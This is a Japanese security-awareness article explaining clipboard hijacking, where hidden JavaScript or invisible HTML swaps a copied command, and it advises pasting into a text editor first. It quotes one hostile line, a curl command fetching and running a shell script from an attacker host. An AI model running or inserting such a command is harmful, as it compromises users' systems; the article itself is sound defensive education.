プログラマー、システム管理者、セキュリティ研究者、技術系の方が、Webページからコンソールやターミナルにコマンドをコピー・ペーストすると、システムが危険にさらされるリスクがあるということが判明しました。
ターミナルに直接コマンドをコピーペーストしてはいけない理由がこちらです。
開発者や管理者に、ウェブからコマンドラインやコードスニペットをコピーしたことがあるかどうか尋ねてみてください。
その答えはおそらく「はい」でしょう。コピーしたものがそのままペーストされると思っていませんか?しかし、そうではありません。
バックドアがクリップボードに自動挿入される
最近、セキュリティ意識向上のためのトレーニングプラットフォーム「Wizer」の創設者であるガブリエル・フリードランダー氏が、Webページからコマンドをコピー&ペーストする際に注意するように警告、当たり前のようで意外なハッキングを実演しました。
初心者でも熟練者でも、よく使うコマンドをWebページ(StackOverflow)からコピーして、アプリケーションやWindowsのコマンドプロンプト、Linuxのターミナルに貼り付けることは珍しくありません。
しかし、Friedlander氏は、ウェブページがクリップボードの内容を密かに置き換えている可能性があり、実際にクリップボードにコピーされたものは、コピーしようと思っていたものとは大きく異なっていると警告しています。
また必要な注意を払わなければ、開発者はテキストを貼り付けた後に自分の間違いに気づき、その時点では手遅れになってしまう可能性があります。
Friedlander氏は、自身のブログで公開している簡単な概念実証(PoC)の中で、多くのシステム管理者や開発者が慣れ親しんでいるであろう簡単なコマンドをコピーするよう読者に求めています。
コピーペーストされるPoCコマンド
Friedlander氏のHTMLページには、クリップボードにコピーできる簡単なコマンドが掲載されています。
https://www.wizer-training.com/blog/copy-paste
sudo apt update
Friedlander氏のブログの「sudo apt update」をコピーしたものをテキストボックスやメモ帳に貼り付けてみると、その結果は以下の文字列が表示されます
curl http://attacker-domain:8000/shell.sh | sh
クリップボードにまったく別のコマンドが表示されているだけでなく、さらにコマンドの最後に改行(またはリターン)文字があります。
つまり、上記の例は、Linux のターミナルに直接貼り付けた途端に実行されてしまうのです。
このテキストを貼り付けた人は、システムにインストールされているソフトウェアの更新情報を取得するために使用される、おなじみのコマンド「sudo apt update」をコピーしたと勘違いしたかもしれません。
しかし、実際にはそうではありませんでした。
何が原因か?
それは、Friedlander氏が設定したPoC HTMLページに隠されたJavaScriptのコードにあります。
HTML要素に含まれる「sudo apt update」というテキストをコピーするとすぐに、JavaScriptの「イベントリスナー」がコピーイベントを捕捉し、クリップボードのデータを悪意のある実行コードに置き換えます。
なお、イベントリスナーはJavaScriptにおいて様々な正しい使用方法がありますが、これは悪意がある使用例です。
Friedlander氏は
これが、コマンドをターミナルに直接コピーペーストしてはいけない理由です
あるものをコピーしたつもりが、悪意のあるコードのような別のものに置き換えられてしまうのです。コピーしたコードに1行のコードを注入するだけで、アプリへのバックドアを作ることができるのです。
この攻撃は非常にシンプルですが、非常に有効でもあります。
また、あるRedditユーザーはJavaScriptを必要としないこのトリックの代替例として、HTMLとCSSのスタイリングで作られた不可視のテキストが、可視部分のテキストをコピーする際にクリップボードにコピーされるというものを紹介しています。
隠されたHTML(右)がコピーペーストの際にコピーされ、予期していない行が入っている(左)
https://jsfiddle.net/rkqg9bf6/(テストサイト)
問題は、WebサイトがJavaScriptを使ってクリップボードの内容を変更できることだけではありません
人間の目には見えなくても、コンピュータにはコピーされてしまうコマンドをHTMLの中に隠しているだけかもしれません。
このように、Webページからコピーしたものを盲目的に信用してはいけないもうひとつの理由は、まずテキストエディタに貼り付けることです。
シンプルですが、セキュリティの重要な教訓として実行しましょう。
Comments